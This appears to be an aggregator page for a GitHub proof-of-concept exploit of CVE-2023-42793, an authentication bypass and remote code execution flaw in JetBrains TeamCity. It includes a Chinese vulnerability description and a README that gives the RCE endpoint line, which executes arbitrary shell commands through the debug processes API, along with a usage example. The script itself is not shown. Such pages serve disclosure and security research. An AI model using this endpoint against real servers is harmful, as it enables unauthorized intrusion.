CVE-2023-42793 PoC — JetBrains TeamCity 安全漏洞

Source

https://github.com/SwiftSecur/teamcity-exploit-cve-2023-42793

Associated Vulnerability

Title:JetBrains TeamCity 安全漏洞 (CVE-2023-42793)
Description:JetBrains TeamCity是捷克JetBrains公司的一套分布式构建管理和持续集成工具。该工具提供持续单元测试、代码质量分析和构建问题分析报告等功能。 JetBrains TeamCity 2023.05.4之前版本存在安全漏洞，该漏洞源于攻击者可以绕过身份验证，导致在 TeamCity 服务器上执行RCE 。

Description

teamcity-exploit-cve-2023-42793

Readme

# TeamCity Exploit Cve 2023 42793

A quick script to exploit the cve-2023-42793 bug. Some additional reading on the exploit can be found here:

https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793

https://www.cnblogs.com/LittleHann/p/17843271.html

This script adds in the ability to use "params" freely to execute commands after triggering the RCE bug:

`RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=sh&params=-c&params=${URLCMD}"`

## To run the script:

`Usage: <base_url> <port> <command>`

## Example:

`./TeamCity.sh blah.com 8111 "ls -lah"`

The original script is here, full credit needs to go to them: https://github.com/Zenmovie/CVE-2023-42793

File Snapshot


 [4.0K]  /data/pocs/e447b3c259383fc3e406ae8e3c4149e24cd2e0bf
├── [ 742]  README.md
└── [1.3K]  TeamCity.sh

0 directories, 2 files

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